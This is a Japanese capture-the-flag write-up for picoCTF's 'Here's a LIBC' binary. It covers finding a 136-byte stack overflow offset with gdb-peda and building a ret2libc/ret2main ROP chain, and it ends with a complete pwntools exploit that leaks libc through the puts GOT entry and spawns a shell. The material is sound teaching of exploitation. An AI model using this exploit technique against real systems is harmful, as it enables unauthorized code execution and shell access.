ret2libc・ret2main

picoCTFのHere's a LIBC。

実行ファイル./vulnlibc.so.6が与えられる(cファイル等のソースコードはない)。

奇数番目の文字を大文字に変換するプログラム。永遠と文字入力を受け付けてる。

shoebill@pwner:~/pico$ ./vuln 
WeLcOmE To mY EcHo sErVeR!
This is a test
ThIs iS A TeSt
origami
OrIgAmI
^C
shoebill@pwner:~/pico$ ./vuln 
shoebill@pwner:~/pico$ checksec vuln
[*] '/home/shoebill/pico/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'

多量に文字を与えると"Segmentation fault"と表示されてプログラムが落ちる。buffer overflowを疑い、gdbでリターンアドレスまでのオフセットを求める。

gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATA
AqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

gdb-peda$ r
Starting program: /home/shoebill/pico/vuln 
WeLcOmE To mY EcHo sErVeR!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA


[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0 
RCX: 0x7ffff7af4264 (<write+20>:        cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dd18c0 --> 0x0 
RSI: 0x7ffff7dd07e3 --> 0xdd18c0000000000a 
RDI: 0x1 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffdd68 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x400770 (<do_stuff+152>:  ret)
R8 : 0x79 ('y')
...8<...
[-------------------------------------code-------------------------------------]
   0x400769 <do_stuff+145>:     call   0x400540 <puts@plt>
   0x40076e <do_stuff+150>:     nop
   0x40076f <do_stuff+151>:     leave  
=> 0x400770 <do_stuff+152>:     ret    
   0x400771 <main>:     push   rbp
   0x400772 <main+1>:   mov    rbp,rsp
   0x400775 <main+4>:   push   r15
   0x400777 <main+6>:   push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd68 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffdd70 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
...8<...

gdb-peda$ patto AAQA
AAQA found at offset: 136

これより、リターンアドレスまでのオフセットが136と判明。

戦略

リターンアドレスをexecv("/bin/sh", 0)に向けてシェルをとる。そのためにはlibcのベースアドレスを求める必要がある。さらにそのためには、複数回入力を行えるようret2mainをする。

一周目(libcのベースアドレスを求める)

rop = ROP(binf)
rop.raw(b'a' * offset)
rop.raw(rop.rdi)
rop.raw(addr_got_puts)
rop.raw(addr_puts)
rop.raw(addr_main)  # ret2main for the second input
conn.sendlineafter('sErVeR!\n', rop.chain())

リターンアドレスをputs()関数のアドレスに向ける。

具体的に、binf.got['puts']puts()関数に与えて実行する。それでlibcにおけるputs()関数のアドレスを取得する(このやり方は『詳解セキュコン』のp.536を参照)。

その結果からlibc.functions['puts'].address(libc内のputs()のオフセット)を引けばlibcのベースアドレスが求まる。

※ このやり方で注意すべきは、すでに呼ばれている関数(ここではputs())をターゲットにする必要がある。(まだ呼ばれていない関数のGOTは未解決のためPLT+6を指している)

ret2mainをするには、単純にmain()関数のアドレスをROPチェーンに加える。

二周目(シェルの起動)

rop = ROP(libc)
rop.raw(b'a' * offset)
rop.execv(addr_libc_binsh, 0) 
conn.sendlineafter('sErVeR!\n', rop.chain())

オフセット分埋めて、リターンアドレスをexecv()のアドレスにする。

rop.system()ではうまくいかなかった。execvに変えてやってみるテクニックは大切。

exploit

#!/usr/bin/env python3
from pwn import *

bin_file = './vuln'
context(os = 'linux', arch = 'amd64')

binf = ELF(bin_file)
addr_puts = binf.symbols['puts']
addr_main = binf.symbols['main']
addr_got_puts = binf.got['puts']
offset = 136

libc = ELF('./libc.so.6')
offset_libc_puts = libc.symbols['puts']

def attack(conn, **kwargs):
    # libc leak
    rop = ROP(binf)
    rop.raw(b'a' * offset)
    rop.raw(rop.rdi)
    rop.raw(addr_got_puts)
    rop.raw(addr_puts)
    rop.raw(addr_main)  # ret2main for the second input
    conn.sendlineafter('sErVeR!\n', rop.chain())

    conn.recvline()
    addr_libc_puts = conn.recv(8)[:-2]
    libc.address = unpack(addr_libc_puts, 'all') - offset_libc_puts

    addr_libc_binsh = next(libc.search(b'/bin/sh'))

    # spawn a shell
    rop = ROP(libc)
    rop.raw(b'a' * offset)
    rop.execv(addr_libc_binsh, 0)
    conn.sendlineafter('sErVeR!\n', rop.chain())

def main():
    conn = process(bin_file)
    # conn = remote('mercury.picoctf.net', 42072)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()
  • conn.recvuntil('\n')conn.recvline()と書こう
  • binf.functions['hoge'].addressbinf.symbols['hoge']と同じだ。統一した方が見やすいな。後者の方が短い。

ソースコード(cファイル)はサーバに侵入してすなわちシェルを取ればそのディレクトリにあった。


libcが与えられて適切にコンパイルする:

qiita.com